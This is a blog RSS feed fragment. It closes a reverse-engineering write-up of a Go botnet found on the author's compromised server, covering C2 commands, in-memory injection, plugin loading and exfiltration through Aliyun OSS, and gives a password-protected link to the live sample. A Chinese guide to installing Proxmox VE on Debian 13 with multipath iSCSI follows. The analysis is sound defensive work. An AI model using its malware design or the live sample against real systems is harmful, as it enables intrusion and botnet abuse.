&lt;td&gt;&lt;strong&gt;&lt;code&gt;c376cVel0vv&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;math/rand&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NormFloat64&lt;/code&gt;, &lt;code&gt;Shuffle&lt;/code&gt;, &lt;code&gt;Int63&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Generates random numbers. Often used for generating communication keys or randomness in mining algorithms.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;r_zJbsaQ&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;net&lt;/code&gt; (Low-level Networking)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DialContext&lt;/code&gt;, &lt;code&gt;Listen&lt;/code&gt;, &lt;code&gt;Accept&lt;/code&gt;, &lt;code&gt;SetKeepAlive&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Establishes TCP/UDP connections, possibly for C2 communication or as a backdoor listening on a port.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;J9ItGl7U&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;net/http2&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http2ErrCode&lt;/code&gt;, &lt;code&gt;WriteHeaders&lt;/code&gt;, &lt;code&gt;WriteData&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses HTTP/2 protocol for communication (likely to hide C2 traffic).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;Otkxde&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ECC Cryptography Library&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ScalarMult&lt;/code&gt;, &lt;code&gt;Double&lt;/code&gt;, &lt;code&gt;SetGenerator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Elliptic curve encryption. Possibly for encrypting C2 communication or as an encryption module for &lt;strong&gt;ransomware&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We can infer some possible program logic:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Persistence &amp;amp; Control (D-Bus &amp;amp; Net):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It attempts to connect via D-Bus using the &lt;code&gt;PqV1YDIP&lt;/code&gt; package, which is less common in server malware. It might be trying to hijack system services or monitor administrator activity.&lt;/li&gt;
&lt;li&gt;It listens on ports or establishes reverse connections via &lt;code&gt;r_zJbsaQ&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Data Exfiltration (Aliyun OSS):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It doesn&apos;t send data back to a typical C2 server IP but uses Aliyun OSS as a &quot;transit point.&quot; This is a clever tactic because traffic to Aliyun is often considered whitelisted by firewalls and harder to detect.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Command Execution (os/exec):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It has full shell execution capabilities (&lt;code&gt;l2FdnE6&lt;/code&gt;), allowing it to execute arbitrary commands, download scripts, and modify file permissions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Possible Ransomware or Cryptominer Features:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Numerous mathematical operation libraries (&lt;code&gt;Otkxde&lt;/code&gt;, &lt;code&gt;HfBi9x4DOLl&lt;/code&gt;, etc., contain many &lt;code&gt;Mul&lt;/code&gt;, &lt;code&gt;Add&lt;/code&gt;, &lt;code&gt;Square&lt;/code&gt;, &lt;code&gt;Invert&lt;/code&gt;) suggest it is &lt;strong&gt;computationally intensive&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;If it&apos;s &lt;strong&gt;ransomware&lt;/strong&gt;: These math libraries are used to generate keys for encrypting files.&lt;/li&gt;
&lt;li&gt;If it&apos;s a &lt;strong&gt;cryptocurrency miner&lt;/strong&gt;: These libraries are used to calculate hashes. Combined with its use of &lt;code&gt;Shuffle&lt;/code&gt; and &lt;code&gt;NormFloat64&lt;/code&gt; from &lt;code&gt;math/rand&lt;/code&gt;, this aligns with features of some mining algorithms (like RandomX).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Further analysis led to a function named &lt;code&gt;UXTgUQ_stlzy_RraJUM&lt;/code&gt;:
&lt;img src=&quot;./images/2025/12/3232390812.png&quot; alt=&quot;4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I had an AI analyze it and the conclusion was:&lt;/p&gt;
&lt;p&gt;This is a very typical &lt;strong&gt;C2 (Command &amp;amp; Control) instruction dispatcher function written in Golang&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Combined with the context of the &quot;Linux loader&quot; mentioned earlier, this function belongs to the &lt;strong&gt;core Trojan (Bot)&lt;/strong&gt; that was downloaded and executed by that loader.&lt;/p&gt;
&lt;h3&gt;1. Overview and Location&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Function&lt;/strong&gt;: &lt;strong&gt;Instruction Dispatcher (Command Dispatcher)&lt;/strong&gt;. This is part of the main loop logic of the Trojan, responsible for receiving command strings from the C2 server, parsing them, and executing corresponding malicious functions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Mechanism&lt;/strong&gt;: The function begins with an authentication check &lt;code&gt;if ( v18 == a2 &amp;amp;&amp;amp; (unsigned __int8)sub_4035C0() )&lt;/code&gt;. If validation fails, it returns &lt;code&gt;&quot;401 Not Auth&quot;&lt;/code&gt;, indicating that this Trojan has some anti-scanning or session authentication mechanisms.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Detailed Reverse Engineering of the Instruction Set&lt;/h3&gt;
&lt;p&gt;The code uses &lt;code&gt;switch ( a4 )&lt;/code&gt; to determine the length of the command string and then checks its specific content. There are numerous hardcoded strings and Hex values here:&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Case 1 (Single-character commands - Basic Control)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;These are likely remnants of an early version or shorthand commands designed to reduce traffic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;I&lt;/code&gt;&lt;/strong&gt;: Calls &lt;code&gt;os_rename&lt;/code&gt;. Function: &lt;strong&gt;Renames a file&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;E&lt;/code&gt;&lt;/strong&gt;: Calls &lt;code&gt;os_removeAll&lt;/code&gt;. Function: &lt;strong&gt;Deletes files/cleans traces&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;J&lt;/code&gt;&lt;/strong&gt;: Returns &quot;0&quot; or unknown. Possibly used for heartbeat detection or status queries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Z&lt;/code&gt;&lt;/strong&gt;: Returns &lt;code&gt;&quot;mysql_close\t1&quot;&lt;/code&gt;. Function: &lt;strong&gt;Database-related&lt;/strong&gt;. It&apos;s inferred that this Trojan includes a MySQL brute-force or connection module, and this command closes the connection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;H&lt;/code&gt;&lt;/strong&gt;: Possibly gets host information (Host Info).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Other single letters (A-Y)&lt;/strong&gt;: Call different sub-functions (like &lt;code&gt;sub_7CAF40&lt;/code&gt;), typically corresponding to: enabling proxies, executing shell commands, obtaining system load, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;Case 4 (Four-character commands)&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;1414092869&lt;/code&gt; -&amp;gt; Little Endian: &lt;code&gt;0x54495845&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;EXIT&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function&lt;/strong&gt;: Terminates the Trojan process.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;Case 8 (Eight-character commands - Core Functions)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;This is the most critical part, exposing the Trojan&apos;s core capabilities:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Download&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;0x64616F6C6E776F44LL&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;Download&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function&lt;/strong&gt;: Downloader functionality. Downloads files from a specified URL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code Logic&lt;/strong&gt;: If &lt;code&gt;a11&lt;/code&gt; (callback function or interface) exists, it calls it to process the download result.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;LocalRun&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;0x6E75526C61636F4CLL&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;LocalRun&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function&lt;/strong&gt;: &lt;strong&gt;Local execution&lt;/strong&gt;. Likely executes a local shell script or binary file.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;&lt;strong&gt;Case 9 (Nine-character commands - Advanced Attacks)&lt;/strong&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;InjectRun&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;0x75527463656A6E49LL&lt;/code&gt; + &lt;code&gt;&apos;n&apos;&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;InjectRun&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function&lt;/strong&gt;: &lt;strong&gt;Memory injection execution&lt;/strong&gt;. This is an advanced feature, used in conjunction with &lt;code&gt;memfd_create&lt;/code&gt; seen earlier. It typically refers to injecting a payload into another process or running it directly in memory without touching the disk.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PluginRun&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;0x75526E6967756C50LL&lt;/code&gt; + &lt;code&gt;&apos;n&apos;&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;PluginRun&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function&lt;/strong&gt;: &lt;strong&gt;Plugin execution&lt;/strong&gt;. This indicates that the Trojan is &lt;strong&gt;modular&lt;/strong&gt; and can dynamically load &lt;code&gt;.so&lt;/code&gt; or Go &lt;code&gt;plugin&lt;/code&gt; modules to extend functionality (such as cryptocurrency mining, DDoS attacks, port scanning, etc.).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3. Response Construction Logic&lt;/h3&gt;
&lt;p&gt;After the &lt;code&gt;switch&lt;/code&gt; block, there is a complex string concatenation logic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;*(_WORD *)v71 = 15917&lt;/code&gt; -&amp;gt; ASCII for &lt;code&gt;|&lt;/code&gt; and &lt;code&gt;}&lt;/code&gt;? Or specific delimiters.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*(_BYTE *)(v80 + v79 + 2) = 45&lt;/code&gt; -&amp;gt; ASCII for &lt;code&gt;-&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;: The Trojan wraps the command execution result (like &quot;OK&quot;, &quot;Error&quot;, or specific data) with specific delimiters (e.g., &lt;code&gt;|&amp;lt;result&amp;gt;-&lt;/code&gt;) before sending it back to the C2.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Summary and Profile&lt;/h3&gt;
&lt;p&gt;Combined with the previous code (the Loader), we can create a complete profile for this Trojan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Family Speculation&lt;/strong&gt;: This naming style (&lt;strong&gt;InjectRun / PluginRun / LocalRun&lt;/strong&gt;), combined with being written in Go and supporting modular plugins, strongly resembles the &lt;strong&gt;Spark&lt;/strong&gt; botnet or a variant (like a modified version of the &lt;strong&gt;Sliver&lt;/strong&gt; C2, but it&apos;s more akin to a custom-built blackhat bot). It could also be a variant of the &lt;strong&gt;Sysrv-hello&lt;/strong&gt; mining worm (which often mixes Go and exploits).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attack Chain&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Loader&lt;/strong&gt;: The earlier C code, responsible for environment detection, persistence, and downloading the Bot in memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bot (this code)&lt;/strong&gt;: This Go program, resident in memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modules&lt;/strong&gt;: Dynamically delivers mining modules (like XMRig) or DDoS attack modules via &lt;code&gt;PluginRun&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lateral Movement&lt;/strong&gt;: The &lt;code&gt;mysql_close&lt;/code&gt; hint suggests it has password-scanning capabilities and infects other machines on the internal network via &lt;code&gt;InjectRun&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Honestly, I felt there wasn&apos;t much more meaningful analysis to be done. The logic essentially confirms it&apos;s a typical Botnet. The discovered IP has a 99% probability of being a compromised zombie machine, so investigating it seems pointless.
The main takeaway is to summarize lessons learned on preventing such incidents. For small-scale personal websites like mine, when a CVE is disclosed, it&apos;s best to immediately disable all related services. Wait for a confirmed patched version to be released, then update and re-enable the services.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Sample Download:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://drive.iyoroy.cn/Misc/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A2%AB%E6%8C%82RCE%E7%9A%84%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E7%BB%8F%E5%8E%86/Payload.zip&quot;&gt;Payload.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Note: This sample is unprocessed. Do not run it directly without proper security measures!&lt;/strong&gt;
Password: &lt;code&gt;20251206&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>记一次手动安装Proxmox VE, 配置多路iSCSI与NAT转发的经历</title><link>https://blog.iyoroy.cn/posts/233/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/233/</guid><description>将一台没有预装 PVE 镜像的物理机重装为 Debian 13，再手动安装 Proxmox VE，恢复多路 iSCSI 数据盘，并配置虚拟机的 NAT 和端口转发。</description><pubDate>Sat, 29 Nov 2025 09:39:00 GMT</pubDate><content:encoded>&lt;p&gt;起因是租了一台物理机, 然后IDC那边没有提供PVE和Debian系统镜像, 只有Ubuntu、CentOS、Windows系列. 同时数据盘是通过多路iSCSI提供的. 我希望使用PVE来对不同使用场景进行隔离, 因此尝试重装并迁移上述配置.&lt;/p&gt;
&lt;h1&gt;备份配置&lt;/h1&gt;
&lt;p&gt;首先对系统做个大致的检查, 可发现:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;系统存在两张网卡, 一张&lt;code&gt;enp24s0f0&lt;/code&gt;接入了公网地址, 用于外部访问; 一张&lt;code&gt;enp24s0f1&lt;/code&gt;接入了&lt;code&gt;192.168.128.153&lt;/code&gt;的私网地址&lt;/li&gt;
&lt;li&gt;数据盘被映射为了&lt;code&gt;/dev/mapper/mpatha&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/iscsi&lt;/code&gt;下存在两个iSCSI Node的配置, 分别为&lt;code&gt;192.168.128.250:3260&lt;/code&gt;、&lt;code&gt;192.168.128.252:3260&lt;/code&gt;, 但是二者都对应&lt;code&gt;iqn.2024-12.com.ceph:iscsi&lt;/code&gt;.
不难推断出, 数据盘挂载是通过同时配置两个iSCSI Node, 再使用多路的方式合并成一个设备.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;查看一下系统的网络配置:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;network:
  version: 2
  renderer: networkd
  ethernets:
    enp24s0f0:
      addresses: [211.154.[数据删除]/24]
      routes:
        - to: default
          via: [数据删除]
      match:
          macaddress: ac:1f:6b:0b:e2:d4
      set-name: enp24s0f0
      nameservers:
        addresses:
          - 114.114.114.114
          - 8.8.8.8
    enp24s0f1:
      addresses:
        - 192.168.128.153/17
      match:
        macaddress: ac:1f:6b:0b:e2:d5
      set-name: enp24s0f1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现就是非常简单的静态路由, 内网网卡甚至没有默认路由, 直接绑定IP即可.&lt;/p&gt;
&lt;p&gt;然后将&lt;code&gt;/etc/iscsi&lt;/code&gt;下iSCSI的配置文件保存一下, 其中包含了账户密码等信息&lt;/p&gt;
&lt;h1&gt;重装Debian&lt;/h1&gt;
&lt;p&gt;此次使用的是&lt;a href=&quot;https://github.com/bin456789/reinstall&quot;&gt;bin456789/reinstall&lt;/a&gt;重装脚本.&lt;br /&gt;
下载脚本:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重装成Debian 13:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash reinstall.sh debian 13
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后根据提示输入你想要设置的密码即可&lt;/p&gt;
&lt;p&gt;如果不出意外的话, 等待10分钟左右, 会自动完成并重装成一个纯净的Debian 13. 中途可以通过ssh配合设置的密码连接, 查看安装进度.&lt;/p&gt;
&lt;p&gt;重装完成后按照惯例进行一个换源和&lt;code&gt;apt upgrade&lt;/code&gt;, 即可得到一个纯净的Debian 13啦&lt;br /&gt;
换源直接参考&lt;a href=&quot;https://mirrors.ustc.edu.cn/help/debian.html&quot;&gt;USTC镜像站的教程&lt;/a&gt;即可&lt;/p&gt;
&lt;h1&gt;安装Proxmox VE&lt;/h1&gt;
&lt;p&gt;这一步主要参考Proxmox官方的&lt;a href=&quot;https://pve.proxmox.com/wiki/Install_Proxmox_VE_on_Debian_12_Bookworm&quot;&gt;教程&lt;/a&gt;即可&lt;/p&gt;
&lt;p&gt;需要注意，上述脚本安装的Debian会将主机名设置为&lt;code&gt;localhost&lt;/code&gt;，你如果想要修改的话请在&lt;strong&gt;配置Hostname&lt;/strong&gt;前修改并将hosts中的主机名改成你修改的主机名而非&lt;code&gt;localhost&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;配置Hostname&lt;/h2&gt;
&lt;p&gt;Proxmox VE要求为当前的主机名配置一个指向非回环地址的Hosts:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The hostname of your machine must be resolvable to an IP address. This IP address must not be a loopback one like &lt;code&gt;127.0.0.1&lt;/code&gt; but one that you and other hosts can connect to.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;比如此处我的服务器IP为&lt;code&gt;211.154.[数据删除]&lt;/code&gt;, 我需要在&lt;code&gt;/etc/hosts&lt;/code&gt;中添加如下的一条记录:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1       localhost
+211.154.[数据删除] localhost
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存后, 使用&lt;code&gt;hostname --ip-address&lt;/code&gt;检查是否会输出设置的非回环地址: &lt;code&gt;::1 127.0.0.1 211.154.[数据删除]&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;添加Proxmox VE软件源&lt;/h2&gt;
&lt;p&gt;Debian 13使用了Deb822格式&lt;s&gt;当然你想用sources.list也可以&lt;/s&gt;, 因此直接参考&lt;a href=&quot;https://mirrors.ustc.edu.cn/help/proxmox.html&quot;&gt;USTC的Proxmox镜像站&lt;/a&gt;即可:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;gt; /etc/apt/sources.list.d/pve-no-subscription.sources &amp;lt;&amp;lt;EOF
Types: deb
URIs: https://mirrors.ustc.edu.cn/proxmox/debian/pve
Suites: trixie
Components: pve-no-subscription
Signed-By: /usr/share/keyrings/proxmox-archive-keyring.gpg
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处需要同步迁移一个keyring过来&lt;s&gt;但是我上网找了一圈没找到&lt;/s&gt;, 因此我选择从我现有的一个Proxmox VE服务器上拉过来一份. 放在这里了: &lt;a href=&quot;/downloads/2025/11/4102711242.zip&quot;&gt;proxmox-keyrings.zip&lt;/a&gt;&lt;br /&gt;
将公钥文件解压放在&lt;code&gt;/usr/share/keyrings/&lt;/code&gt;中, 然后运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update
apt upgrade -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可同步Proxmox VE软件源&lt;/p&gt;
&lt;h2&gt;安装Proxmox VE内核&lt;/h2&gt;
&lt;p&gt;使用如下命令安装PVE内核并重启以应用新内核:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install proxmox-default-kernel
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后通过&lt;code&gt;uname -r&lt;/code&gt;应该能看到当前使用的是类似于&lt;code&gt;6.17.2-2-pve&lt;/code&gt;这样以pve结尾的内核版本, 代表新内核应用成功.&lt;/p&gt;
&lt;h2&gt;安装Proxmox VE相关软件包&lt;/h2&gt;
&lt;p&gt;使用apt安装对应软件包:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install proxmox-ve postfix open-iscsi chrony
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置过程中会需要设置&lt;code&gt;postfix&lt;/code&gt;邮件服务器, 官方解释:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果您的网络中有邮件服务器, 则应将postfix配置为&lt;code&gt;Satellite system&lt;/code&gt;. 然后, 您现有的邮件服务器将成为中继主机, 将Proxmox VE发送的电子邮件路由到其最终收件人.
如果您不知道在此处输入什么, 请仅选择&lt;code&gt;Local only&lt;/code&gt;, 并保持系统hostname不变.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;之后应该能访问&lt;code&gt;https://&amp;lt;你的服务器地址&amp;gt;:8006&lt;/code&gt;来打开Web控制台了, 账户为root, 密码为你的root密码, 即重装Debian时配置的密码.&lt;/p&gt;
&lt;h2&gt;删除旧的Debian内核和&lt;code&gt;os-prober&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;使用以下命令:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt remove linux-image-amd64 &apos;linux-image-6.1*&apos;
update-grub
apt remove os-prober
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来移除旧的Debian内核, 更新grub并移除&lt;code&gt;os-prober&lt;/code&gt;. 移除&lt;code&gt;os-prober&lt;/code&gt;不是必须的, 但是官方建议这么做, 因为它可能会误将虚拟机的引导文件认成多系统的引导文件, 导致将不该加的一些东西加到引导列表中.&lt;/p&gt;
&lt;p&gt;至此, Proxmox VE的安装就完成了, 已经可以正常使用啦！&lt;/p&gt;
&lt;h1&gt;配置内网网卡&lt;/h1&gt;
&lt;p&gt;因为IDC那边iSCSI网卡和公网走的不是同一张, 而重装的时候丢失了这部分的配置, 因此需要手动配置一下内网的网卡.&lt;br /&gt;
打开Proxmox VE的Web后台, 找到&lt;strong&gt;Datacenter&lt;/strong&gt;-&lt;strong&gt;localhost&lt;/strong&gt;（主机名）-&lt;strong&gt;Network&lt;/strong&gt;, 编辑内网网卡, 如我这里的是&lt;code&gt;ens6f1&lt;/code&gt;, 填入上面备份的IPv4的CIDR格式: &lt;code&gt;192.168.128.153/17&lt;/code&gt;并勾选&lt;strong&gt;Autostart&lt;/strong&gt;, 接着保存即可.&lt;br /&gt;
接着使用命令来设置网卡状态为UP:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link set ens6f1 up
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在能Ping通内网iSCSI服务器的IP了.&lt;/p&gt;
&lt;h1&gt;配置数据盘&lt;/h1&gt;
&lt;h2&gt;iSCSI&lt;/h2&gt;
&lt;p&gt;在上一步中, 我们应该已经安装了&lt;code&gt;iscsiadm&lt;/code&gt;所需的软件包&lt;code&gt;open-iscsi&lt;/code&gt;, 我们只需要按照之前备份的配置重新设置node即可.&lt;/p&gt;
&lt;p&gt;首先发现一下iSCSI存储:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iscsiadm -m discovery -t st -p 192.168.128.250:3260
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以得到原先存在的两个LUN Target:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192.168.128.250:3260,1 iqn.2024-12.com.ceph:iscsi
192.168.128.252:3260,2 iqn.2024-12.com.ceph:iscsi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将备份的配置文件传到服务器上, 覆盖掉原先的&lt;code&gt;/etc/iscsi&lt;/code&gt;中的配置, 同时, 在我备份的配置中可以找到验证方面的配置:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.250,3260,1/default
# BEGIN RECORD 2.1.5
node.name = iqn.2024-12.com.ceph:iscsi
... # 略去一些不重要的配置
node.session.auth.authmethod = CHAP
node.session.auth.username = [数据删除]
node.session.auth.password = [数据删除]
node.session.auth.chap_algs = MD5
... # 略去一些不重要的配置
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.252,3260,2/default
# BEGIN RECORD 2.1.5
node.name = iqn.2024-12.com.ceph:iscsi
... # 略去一些不重要的配置
node.session.auth.authmethod = CHAP
node.session.auth.username = [数据删除]
node.session.auth.password = [数据删除]
node.session.auth.chap_algs = MD5
... # 略去一些不重要的配置
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按照这些配置文件写入新的系统:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.username -v [数据删除]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.password -v [数据删除]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.username -v [数据删除]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.password -v [数据删除]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（我不知道为什么验证信息需要单独写入一次, 但是实测下来不重写它无法登录）&lt;/p&gt;
&lt;p&gt;接着, 使用:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 --login
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 --login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录Target, 接着使用:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.startup -v automatic
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.startup -v automatic
